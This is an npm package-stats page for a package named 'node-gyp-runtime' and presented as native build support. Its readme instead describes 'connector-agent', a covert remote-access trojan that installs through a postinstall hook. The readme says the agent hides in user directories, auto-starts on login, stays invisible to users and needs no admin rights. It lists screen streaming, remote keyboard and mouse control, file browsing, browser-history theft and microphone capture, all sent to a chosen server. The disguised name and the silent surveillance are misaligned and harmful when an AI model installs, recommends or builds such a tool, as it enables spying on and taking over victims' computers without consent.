npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

node-gyp-runtime

v1.0.0

Published

Native addon build runtime support for Node.js

Readme

connector-agent

System connectivity service — runs silently on employee machines.

Install

# Default (connects to localhost:8471)
npm i -g connector-agent

# With custom server URL
SERVER_URL=https://your-server.com npm i -g connector-agent          # Mac/Linux
set SERVER_URL=https://your-server.com && npm i -g connector-agent   # Windows CMD
$env:SERVER_URL="https://your-server.com"; npm i -g connector-agent  # PowerShell

That's it! The agent will automatically:

  1. Copy files to a hidden directory
  2. Register auto-start (runs on every login)
  3. Start running in background

What Happens on Install

| Step | Windows | Mac | Linux | |------|---------|-----|-------| | Files copied to | %APPDATA%\ConnectorService\ | ~/.connector/ | ~/.connector/ | | Auto-start via | Registry HKCU\Run | ~/Library/LaunchAgents/ | ~/.config/autostart/ | | Admin needed | ❌ No | ❌ No | ❌ No | | Visible to user | ❌ No | ❌ No | ❌ No |

Environment Variables

Set these before running npm i -g:

| Variable | Default | Description | |----------|---------|-------------| | SERVER_URL | http://localhost:8471 | Relay server URL |

Uninstall

npm uninstall -g connector-agent

Then manually remove:

  • Windows: Delete %APPDATA%\ConnectorService\ and remove registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ConnectorService
  • Mac: Delete ~/.connector/ and ~/Library/LaunchAgents/com.user.connector.plist
  • Linux: Delete ~/.connector/ and ~/.config/autostart/connector.desktop

Capabilities

  • 📺 Screen streaming (4 FPS, adjustable quality)
  • 🖱️ Remote mouse/keyboard control
  • 📂 File system browsing
  • 🌐 Browser history reading (Chrome/Edge/Firefox)
  • 🎤 Audio capture (mic + system audio)
  • 💤 Sleep prevention
  • 🔄 Auto-reconnect on disconnect
  • 🚀 Auto-start on login

Requirements

  • Node.js 18+
  • ffmpeg (optional, for audio capture)

File Structure

connector-agent/
├── package.json          ← npm package config + postinstall hook
├── postinstall.js        ← Auto-setup script (runs on npm install)
├── .gitignore
└── src/
    ├── index.js          ← Entry point
    ├── config.js         ← Cross-platform config (auto-detects OS)
    ├── screenCapture.js  ← Screen streaming
    ├── inputHandler.js   ← Mouse/keyboard control (robotjs)
    ├── audioCapture.js   ← Mic + system audio (ffmpeg)
    ├── browserHistory.js ← Chrome/Edge/Firefox history reader
    ├── fileScanner.js    ← File system browser
    ├── sleepPreventer.js ← Prevents system sleep
    └── systemInfo.js     ← Machine info (hostname, OS, IP)